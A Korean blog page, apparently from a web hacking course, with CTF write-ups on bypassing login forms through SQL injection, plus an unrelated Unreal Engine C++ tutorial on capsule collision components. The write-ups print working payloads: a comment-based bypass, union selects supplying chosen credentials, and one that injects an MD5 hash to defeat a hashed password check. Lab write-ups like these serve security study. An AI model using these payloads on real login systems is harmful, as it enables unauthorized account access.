문제

normaltic4 로 로그인하자!

현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234


 

 

id pw 성공여부
doldol' union select '1', '1 dol1234 성공
wow' union select 'doldol', '1 1 실패
wow' union select 'doldol', '1  dol1234 실패
doldol' # dol1234 성공
doldol' # 123 실패

 

위의 케이스로 볼때 id로 비밀번호를 찾고 입력받은 비밀번호와 db의 비밀번호를 대조 한다.

단 비밀번호를 암호화 했다.

==========================================================================

그렇기 때문에 db에서 union으로 입력한 1의 값을넣어도 1 == '암호화한 값' 이 true가 아니기 때문에 

로그인을 할 수 없다. 하지만? 우리는 비밀번호를 알고 있는 하나의 계정을 안다.

즉 doldol의 비밀번호로 noranltic4를 로그인 시키면된다.

' union 'normaltic', (select {pw} from {table} where {id} == 'doldol')

=====================================결국 실패=======================

DB, Table, Column을 알 수있는 방법이 없어 포기

 

설마 암호화 한 값을 직접 뱉어내면 되겠지만... 그 많은 해시중에 뭐고 ..... salt값 있으면 안될테

' union select 'normaltic4', 'c4ca4238a0b923820dcc509a6f75849b'

옛날 수업노트를보니 md5를 사용하신것을 확인 할수 있었다. 

1을 md5하면 c4ca4238a0b923820dcc509a6f75849b 값이 나오며 

즉 로그인 할 때 1은 위와 같은 값이 되므로 

 

' union select 'normaltic4', 'c4ca4238a0b923820dcc509a6f75849b'

 

id='normaltic' pw='c4ca4238a0b923820dcc509a6f75849b' 값이 반환되고

BackEnd 로직에서 입력받은 1이라는 비밀번호 또한' c4ca4238a0b923820dcc509a6f75849b'로 변환되어

'c4ca4238a0b923820dcc509a6f75849b'== 'c4ca4238a0b923820dcc509a6f75849b'

가된다..

 

 

문서를 안봤다면 md5이 전에 sha-256 512 다른 삽질 엄청 했을 것 같다.

문서를 참고하라고 해주신 김진규님 감사합니다~

'웹 해킹 코스 > 과제' 카테고리의 다른 글

SQL Injection Point 1  (1) 2023.12.18
Blind SQL 자동화  (0) 2023.12.14
CTF Athentication Bypass(Login Bypass 3)  (1) 2023.12.03
CTF Athentication Bypass(Login Bypass 2)  (1) 2023.12.03
CTF Athentication Bypass(Login Bypass 1)  (1) 2023.12.03

캡슈컴포넌트는 충돌감지에 사용된다

 

폴리곤에 직접 충돌감지를 할 수 있지만 복잡한 폴리곤의 경우 너무 많은 리소스비용이든다. 

이를 방지하기위해 캡슐컴포넌트를 사용한다.

캡슐 컴포넌트와 충돌(Collision)

 


1. 새로운 pawn의 생성

 

 

 

# Bird.h

// Fill out your copyright notice in the Description page of Project Settings.

#pragma once

#include "CoreMinimal.h"
#include "GameFramework/Pawn.h"
#include "Components/CapsuleComponent.h"
#include "Bird.generated.h"

UCLASS()
class TEST01_API ABird : public APawn
{
	GENERATED_BODY()

public:
	ABird();
	virtual void SetupPlayerInputComponent(class UInputComponent* PlayerInputComponent) override;
	virtual void Tick(float DeltaTime) override;


protected:
	// Called when the game starts or when spawned
	virtual void BeginPlay() override;

private:
	// 캡슐의 변수 선언
	UPROPERTY(VisibleAnywhere)
	UCapsuleComponent* Capsule;

};

 

# Bird.cpp

// Fill out your copyright notice in the Description page of Project Settings.


#include "Bird.h"

ABird::ABird()
{
	PrimaryActorTick.bCanEverTick = true;

	//생성자 위치에서 Capsule의 변수를 설정해줌
	Capsule = CreateDefaultSubobject<UCapsuleComponent>(TEXT("Capsule"));
        Capsule->SetCapsuleHalfHeight(20.f);
	Capsule->SetCapsuleRadius(15.f);
	// 폰의 최상위 컴포넌트를 Capsule로 바꿔준다.
	SetRootComponent(Capsule);


}

void ABird::BeginPlay()
{
	Super::BeginPlay();
	
}

void ABird::Tick(float DeltaTime)
{
	Super::Tick(DeltaTime);

}

void ABird::SetupPlayerInputComponent(UInputComponent* PlayerInputComponent)
{
	Super::SetupPlayerInputComponent(PlayerInputComponent);

}

 

# 블루프린트

 

캡슐의 생성
우측의 shape에서 높이와 반경을 결정할 수 있다.

 

 


Include Header

위의 예제에서 우리는 UCapsuleComponent를 Bird.h에 include 했다.

이와 같은 방식은 문제가 있다. 

이와 같이 최종적으로 사용하는 파일의 .h 파일은 기하급수적으로 많은 헤더 파일을 include 하게 될 뿐만아니라.

 

각 헤더파일끼리 Cross 참조하게 되는 경우 에러가 발생 한다.

 

이를 해결하기위해 UCapsuleComonent가 Class임을 명시하고 cpp 파일에서 include를 받는것이 바람직하다.

 

 

변경된 Bird.h 파일

#pragma once

#include "CoreMinimal.h"
#include "GameFramework/Pawn.h"
// UCapsuleComonent의 include가 사라졋다.
#include "Bird.generated.h"

UCLASS()
class TEST01_API ABird : public APawn
{
	GENERATED_BODY()

public:
	ABird();
	virtual void SetupPlayerInputComponent(class UInputComponent* PlayerInputComponent) override;
	virtual void Tick(float DeltaTime) override;


protected:
	// Called when the game starts or when spawned
	virtual void BeginPlay() override;

private:
	// 캡슐의 변수 선언 해당 변수가 class임을 명시한다.
	UPROPERTY(VisibleAnywhere)
	class UCapsuleComponent* Capsule;

};

 

Bird.cpp

// 컴포넌트 include
#include "Components/CapsuleComponent.h"
#include "Bird.h"

ABird::ABird()
{
	PrimaryActorTick.bCanEverTick = true;

	//생성자 위치에서 Capsule의 변수를 설정해줌
	Capsule = CreateDefaultSubobject<UCapsuleComponent>(TEXT("Capsule"));
	Capsule->SetCapsuleHalfHeight(20.f);
	Capsule->SetCapsuleRadius(15.f);
	// 폰의 최상위 컴포넌트를 Capsule로 바꿔준다.
	SetRootComponent(Capsule);


}
// 이하 생략

 

문제

Login Bypass 3

50

normaltic3 로 로그인하자!

현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234


시도한 SQL Injection CASE

CASE1 =  id: doldol' # pw=1234 => 로그인 실패

CASE2  = id: doldil' # pw=dol1234 => 로그인 성공

CASE3 = id: doldol' or '1'='1 pw=1234 => 로그인 실패

CASE3 = id: doldol' or '1'='1 pw= dol1234  => 로그인 실패

CASE4 = id='doldol' and '1'='1 pw= dol1234

 

위와 같은 케이스를 봐서 doldol의 데이터를 DB에서 찾은 뒤 입력받은 pw와 DB의 pw를 비교하는 듯 하다.

즉 이번 케이스는 ID, PW를 구분하여 비교하게 된다.

 

그렇다면 union select '원하는 아이디', '내가 입력할 비밀번호' # 을 하게된다면 내가 원하는 아이디로 로그인이 가능 할 것이다.

 

단 첫번째 데이터만 불러올 것이기 때문에 {없는 아이디}' union select '원하는 아이디', '내가 입력할 비밀번호' #

union 앞의 조건은 없는 아이디어야 한다.

 

 

이번의 케이스는 id pw로 되어있지만 만약 테이블의 컬럼이 많고 * 로 되어있었다면 모든 케이스별로 ID, PW의 위치를 찾아야 했을 것 같다.

문제

Login Bypass 2

50

normaltic2 로 로그인하자!

현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234


주석을 사용한 SQL Injection이 바로 성공하였다.

id: normaltic2' # pw : 아무거나

 

+ Recent posts